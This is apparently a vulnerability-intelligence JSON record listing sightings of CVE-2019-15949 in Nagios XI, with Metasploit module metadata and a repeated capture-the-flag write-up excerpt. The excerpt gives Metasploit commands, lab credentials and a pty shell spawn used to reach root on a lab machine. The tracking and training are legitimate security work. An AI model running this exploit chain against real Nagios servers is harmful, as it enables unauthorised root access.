{"vulnerability": "CVE-2019-15949", "sightings": [{"uuid": "2db274e7-de67-43c0-b0cb-d60d671d0632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "0e452be5-05a9-4a91-94db-bc4938e9bbc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:19.000000Z"}, {"uuid": "970f139d-745c-4e7a-bfd4-4167426b3796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "exploited", "source": "https://www.exploit-db.com/exploits/48191", "content": "", "creation_timestamp": "2020-03-10T00:00:00.000000Z"}, {"uuid": "f8a62d65-bcc9-4cef-847d-ea79bc4b14d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2970966", "content": "", "creation_timestamp": "2024-12-24T20:22:25.384150Z"}, {"uuid": "0530f8c7-02b4-4b83-99bd-7a18a75ef91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "fed83c7e-7708-498b-b1ee-a098167d8741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:13.000000Z"}, {"uuid": "95f57799-e7d0-4a67-b85b-ac67ea20334a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:42.000000Z"}, {"uuid": "8d881dfd-e891-4f74-96ef-f643cb959710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/nagios_xi_scanner.rb", "content": "", "creation_timestamp": "2021-03-26T23:19:21.000000Z"}, {"uuid": "ba73a43e-251f-4e4a-aa4a-9de3b2597445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb", "content": "", "creation_timestamp": "2021-04-14T00:06:12.000000Z"}, {"uuid": "022ac80a-1507-47f2-b761-43376e3cd6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2019-15949", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a3a8ab3f-fa0d-4bfe-8fdd-e74de4ef534f", "content": "", "creation_timestamp": "2026-02-02T12:28:58.586210Z"}, {"uuid": "ca2f4268-871c-42f8-94ba-0b5e918e834a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "published-proof-of-concept", "source": "Telegram/EQSEx6hVvMlnJ1ky7huxK4eSzyICfuehitJwgPSzGmUZN8M", "content": "", "creation_timestamp": "2025-11-26T21:00:05.000000Z"}, {"uuid": "166c07bd-d480-4dce-ae82-80cb48cceff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://t.me/arpsyndicate/1016", "content": "#ExploitObserverAlert\n\nCVE-2019-15949\n\nDESCRIPTION: Exploit Observer has 15 entries related to CVE-2019-15949. Nagios XI before 5.6.6 allows remote command execution as root. The exploit requires access to the server as the nagios user, or access as the admin user via the web interface. The getprofile.sh script, invoked by downloading a system profile (profile.php?cmd=download), is executed as root via a passwordless sudo entry; the script executes check_plugin, which is owned by the nagios user. A user logged into Nagios XI with permissions to modify plugins, or the nagios user on the server, can modify the check_plugin executable and insert malicious commands to execute as root.\n\nFIRST-EPSS: 0.519440000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-03T19:58:56.000000Z"}, {"uuid": "33014853-9d5a-49dc-bfd7-a03c0b122b3c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/44b49bf3-c357-4c5f-b23e-d12a061e3cdb", "content": "", "creation_timestamp": "2026-06-19T12:48:01.652174Z"}, {"uuid": "abbf24b5-e672-447e-8617-48d1bb4cf984", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/be014818-7ec8-4b2e-a362-647bd1e40724", "content": "", "creation_timestamp": "2026-06-23T14:04:32.718254Z"}, {"uuid": "bcf0902a-c74a-44ef-a775-1cd869af1090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://t.me/hacking_Attack/2951", "content": "s to a login page. We used the credentials we enumerated earlier to login into the Nagios Framework. <o:p\n\n<o:p https://1.bp.blogspot.com/-ur0w4FmIxag/YGIQKfLCQ3I/AAAAAAAAvIA/QSYUy12IRU8ERtPdeOliXKi1ed2-cIK2wCLcBGAsYHQ/s16000/16.png As soon as we logged in, we are told by the framework that the version that is installed is not the latest and there is an update pending. <o:p http://10.10.133.5/nagiosxi/admin/?xiwindow=updates.php<o:pInstalled Version: 5.5.6<o:pLatest Version: 5.6.12<o:pA quick search on Exploit DB/NIST can provide you with the CVE that the Nagios is Vulnerable to. <o:p Q.6 What is the CVE number for this vulnerability? <o:pAns. CVE-2019-15949<o:phttps://1.bp.blogspot.com/-ZtXTcgAUobQ/YGIQPt-SpbI/AAAAAAAAvII/NnrTC-UzmoA9bgm9NYUbViArMnzUXNmNQCLcBGAsYHQ/s16000/17.png This is where we ran the Metasploit Console on our Kali Linux, we searched for Nagios and found that it is vulnerable to a Remote Code Execution. The hint at the start of the machine also tells us that we will have to use an RCE to crack the machine. This means that we are on the right path. <o:p search Nagios XI<o:p<o:pQ.7 Now that we've found our vulnerability, let's find our exploit. For this section of the room, we'll use the Metasploit module associated with this exploit. Let's go ahead and start Metasploit using the command `msfconsole`.<o:pAns. No Answer Needed<o:phttps://1.bp.blogspot.com/-iJi-SeMjdQk/YGIQS-9hfpI/AAAAAAAAvIQ/u9unyQemcd4Xw9-dl1JtzxICoCihusOwACLcBGAsYHQ/s16000/18.png Q.8 After Metasploit has started, let's search for our target exploit using the command 'search applicationame'. What is the full path (starting with exploit) for the exploitation module?<o:pAns. exploit/linux/http/nagios_xi_authenticated_rce<o:pWe selected the module and provided it with the required options. It requires a Local IP address. Be sure to give it the IP Address provided by the VPN. Then the IP Address of the Target machine. Since it is an authenticated Remote Code Execution, means that we will have to provide the credentials as well. After setting all the variables, just sit back and let the Metasploit do its work. <o:p use exploit/linux/http/nagios_xi_authenticated_rce<o:pset LHOST 10.17.0.111<o:pset RHOSTS 10.10.133.5<o:pset USERNAME nagiosadmin<o:pset PASSWORD n3p3UQ&9BjLp4$7uhWdY<o:pexploit<o:phttps://1.bp.blogspot.com/-cc_ehup6HkU/YGIQWgZ2AZI/AAAAAAAAvIY/HlCrILtw3aUhCeFJ4ENyIWzhEB1Lq5VkQCLcBGAsYHQ/s16000/19.png We got the meterpreter. We proceeded to run the shell command to get the bash on the target machine. We upgraded the shell to a TTY shell using Python. We ran the Whoami command to find that it was already root shell.<o:p shell<o:ppython -c 'import pty; pty.spawn(\"/bin/sh\")'<o:pwhoami<o:pcd /home<o:pls<o:pcd galand<o:pcat user.txt<o:pcd /root/<o:pcat root.txt<o:p<o:phttps://1.bp.blogspot.com/-MQOyZ8Ni2IU/YGIQb94kZYI/AAAAAAAAvIc/daLdhqdclQYNgdGmQ_1j_iaWvWym6iQTwCLcBGAsYHQ/s16000/20.png Getting root directly means that all we needed to do is read the flags to conclude this machine. <o:p Q.9 Compromise the machine and locate user.txt<o:pAns. THM{###############################}<o:pQ. 10 Locate root.txt<o:pAns. THM{###############################}<o:pThis machine was quite interesting and We had quite fun while solving it. <o:p\n\nThings that we learned, A quick recap.<o:p\n\nSymbolic Annotation of Elements and Atomic Numbers, Piet Programming Language and its interpterion Exporting Images into new formats using GIMP, Downloading and Building an Interpreter from Source Code. Importance of Extension-based Dirb Scan, Nagios Framewor[...]", "creation_timestamp": "2026-09-01T20:02:50.052118Z"}, {"uuid": "9a440544-9572-4a66-b192-34fdc8933d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://t.me/hacking_Attack/2951", "content": "s to a login page. We used the credentials we enumerated earlier to login into the Nagios Framework. <o:p\n\n<o:p https://1.bp.blogspot.com/-ur0w4FmIxag/YGIQKfLCQ3I/AAAAAAAAvIA/QSYUy12IRU8ERtPdeOliXKi1ed2-cIK2wCLcBGAsYHQ/s16000/16.png As soon as we logged in, we are told by the framework that the version that is installed is not the latest and there is an update pending. <o:p http://10.10.133.5/nagiosxi/admin/?xiwindow=updates.php<o:pInstalled Version: 5.5.6<o:pLatest Version: 5.6.12<o:pA quick search on Exploit DB/NIST can provide you with the CVE that the Nagios is Vulnerable to. <o:p Q.6 What is the CVE number for this vulnerability? <o:pAns. CVE-2019-15949<o:phttps://1.bp.blogspot.com/-ZtXTcgAUobQ/YGIQPt-SpbI/AAAAAAAAvII/NnrTC-UzmoA9bgm9NYUbViArMnzUXNmNQCLcBGAsYHQ/s16000/17.png This is where we ran the Metasploit Console on our Kali Linux, we searched for Nagios and found that it is vulnerable to a Remote Code Execution. The hint at the start of the machine also tells us that we will have to use an RCE to crack the machine. This means that we are on the right path. <o:p search Nagios XI<o:p<o:pQ.7 Now that we've found our vulnerability, let's find our exploit. For this section of the room, we'll use the Metasploit module associated with this exploit. Let's go ahead and start Metasploit using the command `msfconsole`.<o:pAns. No Answer Needed<o:phttps://1.bp.blogspot.com/-iJi-SeMjdQk/YGIQS-9hfpI/AAAAAAAAvIQ/u9unyQemcd4Xw9-dl1JtzxICoCihusOwACLcBGAsYHQ/s16000/18.png Q.8 After Metasploit has started, let's search for our target exploit using the command 'search applicationame'. What is the full path (starting with exploit) for the exploitation module?<o:pAns. exploit/linux/http/nagios_xi_authenticated_rce<o:pWe selected the module and provided it with the required options. It requires a Local IP address. Be sure to give it the IP Address provided by the VPN. Then the IP Address of the Target machine. Since it is an authenticated Remote Code Execution, means that we will have to provide the credentials as well. After setting all the variables, just sit back and let the Metasploit do its work. <o:p use exploit/linux/http/nagios_xi_authenticated_rce<o:pset LHOST 10.17.0.111<o:pset RHOSTS 10.10.133.5<o:pset USERNAME nagiosadmin<o:pset PASSWORD n3p3UQ&9BjLp4$7uhWdY<o:pexploit<o:phttps://1.bp.blogspot.com/-cc_ehup6HkU/YGIQWgZ2AZI/AAAAAAAAvIY/HlCrILtw3aUhCeFJ4ENyIWzhEB1Lq5VkQCLcBGAsYHQ/s16000/19.png We got the meterpreter. We proceeded to run the shell command to get the bash on the target machine. We upgraded the shell to a TTY shell using Python. We ran the Whoami command to find that it was already root shell.<o:p shell<o:ppython -c 'import pty; pty.spawn(\"/bin/sh\")'<o:pwhoami<o:pcd /home<o:pls<o:pcd galand<o:pcat user.txt<o:pcd /root/<o:pcat root.txt<o:p<o:phttps://1.bp.blogspot.com/-MQOyZ8Ni2IU/YGIQb94kZYI/AAAAAAAAvIc/daLdhqdclQYNgdGmQ_1j_iaWvWym6iQTwCLcBGAsYHQ/s16000/20.png Getting root directly means that all we needed to do is read the flags to conclude this machine. <o:p Q.9 Compromise the machine and locate user.txt<o:pAns. THM{###############################}<o:pQ. 10 Locate root.txt<o:pAns. THM{###############################}<o:pThis machine was quite interesting and We had quite fun while solving it. <o:p\n\nThings that we learned, A quick recap.<o:p\n\nSymbolic Annotation of Elements and Atomic Numbers, Piet Programming Language and its interpterion Exporting Images into new formats using GIMP, Downloading and Building an Interpreter from Source Code. Importance of Extension-based Dirb Scan, Nagios Framewor[...]", "creation_timestamp": "2026-09-02T01:03:25.673780Z"}, {"uuid": "725d00c3-cab6-4878-9877-021423ca0f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/nagios_xi_scanner.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Erik Wynter\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"The module detects the version of Nagios XI applications and\\n        suggests matching exploit modules based on the version number.\\n        Since Nagios XI applications only reveal the version to authenticated\\n        users, valid credentials for a Nagios XI account are required.\\n        Alternatively, it is possible to provide a specific Nagios XI version\\n        number via the `VERSION` option. In that case, the module simply\\n        suggests matching exploit modules and does not probe the target(s).\", \"disclosure_date\": null, \"fullname\": \"auxiliary/scanner/http/nagios_xi_scanner\", \"is_install_path\": true, \"mod_time\": \"2026-04-02 17:30:43 +0000\", \"name\": \"Nagios XI Scanner\", \"needs_cleanup\": false, \"notes\": {}, \"path\": \"/modules/auxiliary/scanner/http/nagios_xi_scanner.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/nagios_xi_scanner\", \"references\": [\"CVE-2019-15949\", \"CVE-2020-5791\", \"CVE-2020-5792\", \"CVE-2020-35578\", \"CVE-2021-37343\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:38.051485Z"}, {"uuid": "3e5eb64d-75e1-461b-a809-288e7956b272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb", "content": "{\"aliases\": [\"exploit/linux/http/nagios_xi_authenticated_rce\"], \"arch\": \"x86, x64, cmd\", \"author\": [\"Jak Gibb\", \"Erik Wynter\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerability in the getprofile.sh script\\n          of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping\\n          plugin and thereby execute arbitrary commands.\\n\\n          For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.\\n          For versions 5.5.0-5.6.5 the commands are run as root. Note that versions\\n          prior to 5.2.0 will still be marked as being vulnerable however this\\n          module does not presently support exploiting these targets.\\n\\n          The module uploads a malicious check_ping plugin to the Nagios XI server via\\n          /admin/monitoringplugins.php and then executes this plugin by issuing\\n          a HTTP GET request to download a system profile from the server.\\n          For all supported targets except Linux (cmd), the module uses a command\\n          stager to write the exploit to the target via the malicious plugin.\\n          This may not work if Nagios XI is running in a restricted Unix environment,\\n          so in that case the target must be set to Linux (cmd). The module then\\n          writes the payload to the malicious plugin while avoiding commands\\n          that may not be supported.\\n\\n          Valid credentials for a user with administrative privileges are\\n          required. This module was successfully tested on Nagios XI 5.3.0 and\\n          Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before\\n          5.5.0, it may take a significant amount of time for the payload to get\\n          back (up to 5 minutes). If exploitation fails against an older system,\\n          it is recommended to increase the WfsDelay setting (default is 300\\n          seconds). See the documentation for more information.\", \"disclosure_date\": \"2019-07-29\", \"fullname\": \"exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/nagios_xi_plugins_check_plugin_authenticated_rce\", \"references\": [\"CVE-2019-15949\", \"URL-https://github.com/jakgibb/nagiosxi-root-rce-exploit\", \"ATT&CK-T1021\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Linux (x86)\", \"Linux (x64)\", \"Linux (cmd)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:46.796977Z"}, {"uuid": "22ecebfe-7abc-4dbb-8a3a-03a05e7b1438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/2951", "content": "s to a login page. We used the credentials we enumerated earlier to login into the Nagios Framework. <o:p\n\n<o:p https://1.bp.blogspot.com/-ur0w4FmIxag/YGIQKfLCQ3I/AAAAAAAAvIA/QSYUy12IRU8ERtPdeOliXKi1ed2-cIK2wCLcBGAsYHQ/s16000/16.png As soon as we logged in, we are told by the framework that the version that is installed is not the latest and there is an update pending. <o:p http://10.10.133.5/nagiosxi/admin/?xiwindow=updates.php<o:pInstalled Version: 5.5.6<o:pLatest Version: 5.6.12<o:pA quick search on Exploit DB/NIST can provide you with the CVE that the Nagios is Vulnerable to. <o:p Q.6 What is the CVE number for this vulnerability? <o:pAns. CVE-2019-15949<o:phttps://1.bp.blogspot.com/-ZtXTcgAUobQ/YGIQPt-SpbI/AAAAAAAAvII/NnrTC-UzmoA9bgm9NYUbViArMnzUXNmNQCLcBGAsYHQ/s16000/17.png This is where we ran the Metasploit Console on our Kali Linux, we searched for Nagios and found that it is vulnerable to a Remote Code Execution. The hint at the start of the machine also tells us that we will have to use an RCE to crack the machine. This means that we are on the right path. <o:p search Nagios XI<o:p<o:pQ.7 Now that we've found our vulnerability, let's find our exploit. For this section of the room, we'll use the Metasploit module associated with this exploit. Let's go ahead and start Metasploit using the command `msfconsole`.<o:pAns. No Answer Needed<o:phttps://1.bp.blogspot.com/-iJi-SeMjdQk/YGIQS-9hfpI/AAAAAAAAvIQ/u9unyQemcd4Xw9-dl1JtzxICoCihusOwACLcBGAsYHQ/s16000/18.png Q.8 After Metasploit has started, let's search for our target exploit using the command 'search applicationame'. What is the full path (starting with exploit) for the exploitation module?<o:pAns. exploit/linux/http/nagios_xi_authenticated_rce<o:pWe selected the module and provided it with the required options. It requires a Local IP address. Be sure to give it the IP Address provided by the VPN. Then the IP Address of the Target machine. Since it is an authenticated Remote Code Execution, means that we will have to provide the credentials as well. After setting all the variables, just sit back and let the Metasploit do its work. <o:p use exploit/linux/http/nagios_xi_authenticated_rce<o:pset LHOST 10.17.0.111<o:pset RHOSTS 10.10.133.5<o:pset USERNAME nagiosadmin<o:pset PASSWORD n3p3UQ&9BjLp4$7uhWdY<o:pexploit<o:phttps://1.bp.blogspot.com/-cc_ehup6HkU/YGIQWgZ2AZI/AAAAAAAAvIY/HlCrILtw3aUhCeFJ4ENyIWzhEB1Lq5VkQCLcBGAsYHQ/s16000/19.png We got the meterpreter. We proceeded to run the shell command to get the bash on the target machine. We upgraded the shell to a TTY shell using Python. We ran the Whoami command to find that it was already root shell.<o:p shell<o:ppython -c 'import pty; pty.spawn(\"/bin/sh\")'<o:pwhoami<o:pcd /home<o:pls<o:pcd galand<o:pcat user.txt<o:pcd /root/<o:pcat root.txt<o:p<o:phttps://1.bp.blogspot.com/-MQOyZ8Ni2IU/YGIQb94kZYI/AAAAAAAAvIc/daLdhqdclQYNgdGmQ_1j_iaWvWym6iQTwCLcBGAsYHQ/s16000/20.png Getting root directly means that all we needed to do is read the flags to conclude this machine. <o:p Q.9 Compromise the machine and locate user.txt<o:pAns. THM{###############################}<o:pQ. 10 Locate root.txt<o:pAns. THM{###############################}<o:pThis machine was quite interesting and We had quite fun while solving it. <o:p\n\nThings that we learned, A quick recap.<o:p\n\nSymbolic Annotation of Elements and Atomic Numbers, Piet Programming Language and its interpterion Exporting Images into new formats using GIMP, Downloading and Building an Interpreter from Source Code. Importance of Extension-based Dirb Scan, Nagios Framewor[...]", "creation_timestamp": "2026-09-08T13:00:04.311762Z"}, {"uuid": "34e15a65-c4c4-4c5d-b6e8-264d938b7837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/2951", "content": "s to a login page. We used the credentials we enumerated earlier to login into the Nagios Framework. <o:p\n\n<o:p https://1.bp.blogspot.com/-ur0w4FmIxag/YGIQKfLCQ3I/AAAAAAAAvIA/QSYUy12IRU8ERtPdeOliXKi1ed2-cIK2wCLcBGAsYHQ/s16000/16.png As soon as we logged in, we are told by the framework that the version that is installed is not the latest and there is an update pending. <o:p http://10.10.133.5/nagiosxi/admin/?xiwindow=updates.php<o:pInstalled Version: 5.5.6<o:pLatest Version: 5.6.12<o:pA quick search on Exploit DB/NIST can provide you with the CVE that the Nagios is Vulnerable to. <o:p Q.6 What is the CVE number for this vulnerability? <o:pAns. CVE-2019-15949<o:phttps://1.bp.blogspot.com/-ZtXTcgAUobQ/YGIQPt-SpbI/AAAAAAAAvII/NnrTC-UzmoA9bgm9NYUbViArMnzUXNmNQCLcBGAsYHQ/s16000/17.png This is where we ran the Metasploit Console on our Kali Linux, we searched for Nagios and found that it is vulnerable to a Remote Code Execution. The hint at the start of the machine also tells us that we will have to use an RCE to crack the machine. This means that we are on the right path. <o:p search Nagios XI<o:p<o:pQ.7 Now that we've found our vulnerability, let's find our exploit. For this section of the room, we'll use the Metasploit module associated with this exploit. Let's go ahead and start Metasploit using the command `msfconsole`.<o:pAns. No Answer Needed<o:phttps://1.bp.blogspot.com/-iJi-SeMjdQk/YGIQS-9hfpI/AAAAAAAAvIQ/u9unyQemcd4Xw9-dl1JtzxICoCihusOwACLcBGAsYHQ/s16000/18.png Q.8 After Metasploit has started, let's search for our target exploit using the command 'search applicationame'. What is the full path (starting with exploit) for the exploitation module?<o:pAns. exploit/linux/http/nagios_xi_authenticated_rce<o:pWe selected the module and provided it with the required options. It requires a Local IP address. Be sure to give it the IP Address provided by the VPN. Then the IP Address of the Target machine. Since it is an authenticated Remote Code Execution, means that we will have to provide the credentials as well. After setting all the variables, just sit back and let the Metasploit do its work. <o:p use exploit/linux/http/nagios_xi_authenticated_rce<o:pset LHOST 10.17.0.111<o:pset RHOSTS 10.10.133.5<o:pset USERNAME nagiosadmin<o:pset PASSWORD n3p3UQ&9BjLp4$7uhWdY<o:pexploit<o:phttps://1.bp.blogspot.com/-cc_ehup6HkU/YGIQWgZ2AZI/AAAAAAAAvIY/HlCrILtw3aUhCeFJ4ENyIWzhEB1Lq5VkQCLcBGAsYHQ/s16000/19.png We got the meterpreter. We proceeded to run the shell command to get the bash on the target machine. We upgraded the shell to a TTY shell using Python. We ran the Whoami command to find that it was already root shell.<o:p shell<o:ppython -c 'import pty; pty.spawn(\"/bin/sh\")'<o:pwhoami<o:pcd /home<o:pls<o:pcd galand<o:pcat user.txt<o:pcd /root/<o:pcat root.txt<o:p<o:phttps://1.bp.blogspot.com/-MQOyZ8Ni2IU/YGIQb94kZYI/AAAAAAAAvIc/daLdhqdclQYNgdGmQ_1j_iaWvWym6iQTwCLcBGAsYHQ/s16000/20.png Getting root directly means that all we needed to do is read the flags to conclude this machine. <o:p Q.9 Compromise the machine and locate user.txt<o:pAns. THM{###############################}<o:pQ. 10 Locate root.txt<o:pAns. THM{###############################}<o:pThis machine was quite interesting and We had quite fun while solving it. <o:p\n\nThings that we learned, A quick recap.<o:p\n\nSymbolic Annotation of Elements and Atomic Numbers, Piet Programming Language and its interpterion Exporting Images into new formats using GIMP, Downloading and Building an Interpreter from Source Code. Importance of Extension-based Dirb Scan, Nagios Framewor[...]", "creation_timestamp": "2026-09-09T00:00:29.396017Z"}]}